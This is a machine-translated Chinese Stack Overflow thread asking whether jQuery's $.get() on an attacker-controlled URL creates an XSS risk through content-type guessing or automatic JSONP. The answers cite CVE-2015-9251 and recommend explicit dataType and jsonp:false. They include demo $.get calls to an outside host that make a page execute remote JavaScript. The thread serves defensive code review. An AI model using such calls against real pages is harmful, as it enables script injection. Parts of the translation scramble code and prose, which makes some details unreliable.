我最近了解到jQuery的$.getJSON()
是not safe to call on an untrusted URL。那$.get()
呢? URL参数来自不受信任的来源时,调用jQuery的$.get()
是安全的,还是不安全?
这是我正在执行的安全代码检查中检查XSS漏洞的方法。示例代码模式:
$.get(url, function (...) { ... })
如果攻击者恶意选择url
,此代码模式是否会创建XSS漏洞?
[请假定该函数将安全地处理来自AJAX请求的响应,并且url
来自不受信任的来源(例如,其他用户),并且可以由对手完全控制。
[我的担心:如果攻击者选择了url
,攻击者是否可以选择导致jQuery猜测数据的恶意URL(例如,包含callback=?
并指向其自己的站点或类似的东西)类型应该为JSONP,启用JSONP,在文档中插入脚本标签,并引入XSS漏洞in the same way that getJSON() does? (由于我没有将显式的dataType
参数传递给$.get()
,因此jQuery会猜测数据类型为described in the docs。我不确定这对安全性有何影响。)
我在代码审查中遇到了这种代码模式,我试图了解它是否是潜在的漏洞。我不是在寻找可以编写此代码的替代方法。相反,我想知道这种代码模式是否安全。
由于威胁模型有些棘手,所以我举个例子来帮助您更好地理解这一点。假设Bob是该服务的用户,并且他可以提供与其个人资料相关联的URL。假设当爱丽丝在她的浏览器中访问鲍勃的个人资料页面时,页面上的Javascript代码采用鲍勃提供的URL,并将其作为参数传递给$.get()
。问题是,这安全吗?鲍勃可以用它攻击爱丽丝吗?鲍勃能否利用Alice的全部能力触发Alice的浏览器执行任意Javascript代码?正如链接的问题所解释的,在这种情况下$.getJSON()
是不安全的-但是$.get()
呢?还是不安全,还是安全?
由于我有一些澄清的要求,让我尝试以另一种方式解释/提出问题。假设我正在执行代码审查,以检查某些Javascript代码是否包含任何XSS漏洞,并且看到以下代码行:
$.get(url, function(resp) { /* do nothing */ });
假设我知道url
可以完全由攻击者控制。这是自动的XSS漏洞吗?还是这总是安全的?或者,如果答案是“取决于”,它取决于什么?
或者,这是另一种思考方式。假设我正在执行代码审查,并且看到以下代码行:
$.get(url, f);
假设我知道url
可以完全由攻击者控制。我需要检查什么,以验证它是否安全(没有XSS错误)?我知道我需要检查f
的代码以查看它是否安全地处理响应,因为如果f
粗心,可能会导致XSS错误。我的问题是:这是我唯一需要检查的东西吗?还是无论f
的编码方式如何,此代码模式始终都是XSS漏洞?
如果攻击者恶意选择URL,此代码模式是否会产生XSS漏洞?
编辑:是的,但不是出于您提出问题的原因。
奇怪的自动JSONP功能在内部使用ajaxPrefilter("json jsonp")
应用于AJAX请求。因此,它适用于json
预过滤器列表,但不适用于其他类型或默认的*
。但是,预过滤器会在响应发生之前应用,所以这不能仅仅因为服务器使用类似JSON的类型进行回复。
((目前,从1.11.2开始,getJSON
的文档并未准确描述这种潜在危险行为在何种情况下发生。get
和ajax
的文档未提及自动-完全没有JSONP。因此,也许应该将其视为一个错误。当然,鉴于这种说明的定义很差,我不会依赖它在jQuery的未来版本中保持不变。)
它易受攻击的实际原因(如framp和牙刷所示)是,如果没有dataType
参数,jQuery将从响应中猜出一个。如果攻击者的URL击中了类似JS的Content-Type
资源,则jQuery会猜测它是JavaScript,eval
。注意:为了使AJAX请求足够有效,第三方服务器上的资源必须包含CORS标头。
$.get(url, function (...) { ... }, 'json');
此版本不容易受到响应类型猜测的影响。但是,is容易受到自动JSONP过滤器的影响。
[为了安全起见,必须同时设置dataType
选项和,如果该选项是json
,还要设置jsonp: false
选项。不幸的是,您无法在jsonp
方法中设置get()
选项。您应该能够通过传递一个选项字典而不是参数来做到这一点,但是您不能这样做,因为jQuery是破碎的Do-What-I-Mean API,其行为令人沮丧,目前该API完全无法正常工作(越来越)难以预测。
因此,从不受信任的URL获取JSON的唯一安全方法是通过基本的ajax
:
$.ajax(url, {dataType: 'json', jsonp: false});
jQuery.get
does构成XSS安全风险。
[如果您查看jQuery的源代码(或jQuery.get
的文档),您会看到jQuery.get
和jQuery.get
只是jQuery.post
的包装。
这里有两个问题:
jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });
为dataType
,或者URL以jsonp
结尾并且=?
为dataType
,则jQuery将尝试发出JSONP请求,然后向脚本json
发出脚本。eval
为dataType
,并且json
选项设置为jsonp
。因此,如果将false
设置为dataType
,并且将json
设置为jsonp
,则安全调用false
以获取未知的URL。
jQuery.get
$.get(url, function(...) { ... });
See the example on JSFiddle.
$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });
取决于。
TL; DR是的,在某些情况下不安全。
如果:
然后,攻击者可以在您的页面上执行JS。
具有匹配协议的恶意服务器,由于Content-Type标头中的jQuery自动检测(对于JS为caniuse,因此正确的CORS标头(Access-Control-Allow-Origin: *
)将能够在您的页面上执行JS。
示例,您可以在此页面上尝试stackoverflow(假设您在script
上:]
http
如果您想查看未设置CORS标头会发生什么情况:
$.get('http://zensuite.net/js/alert.js', console.log.bind(console));
谈论您的假设,您将不太可能使jQuery将普通的XHR请求转换为脚本的远程包含。
[简要查看了$.get('https://zensuite.net/js/alert.js', console.log.bind(console));
之后,我认为这不太可能发生(除非某处存在错误),因为只有在请求传输并且您的code是否为之前,您才能切换到“远程脚本模式”
dataType
,如果URL与json
正则表达式rjsonp
匹配; /(=)\?(?=&|$)|\?\?/
jsonp
这些也容易受到攻击:
script
这当然与问题无关,因为您可以只使用$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');
执行远程代码。
这是一个好点。但是,如何强制数据类型格式以确保它不会用作JSONP]
$.get
当我们想加快解析速度时,使用acutal $.ajax({
url: url,
data: data,
success: success,
dataType: dataType // force text/plain
});
是为了方便起见,因此,如果您真的了解安全性,请使用自定义的$.getJSON()
调用。
更多信息:$.ajax()
根据http://api.jquery.com/jquery.ajax/,这是jQuery <3.0.0的XSS漏洞
3.0.0之前的jQuery在没有dataType选项的情况下执行跨域Ajax请求时,容易受到跨站点脚本(XSS)攻击,导致执行文本/ javascript响应。
[您知道,黑客只需打开开发控制台并编写他想要的任何https://nvd.nist.gov/vuln/detail/CVE-2015-9251,他甚至不必更改您的$.get
变量。实际上,只要它不干扰相同的域策略,他就可以运行他想要的任何代码。客户端安全的全部要点是确保该家伙只能入侵自己。
因此无需尝试保护客户端的任何内容,其主旨是您不能信任来自浏览器的任何内容,因此您应始终检查服务器中接收的数据,并允许两者之间的交互最少(知道您的参数,它们的类型,等等。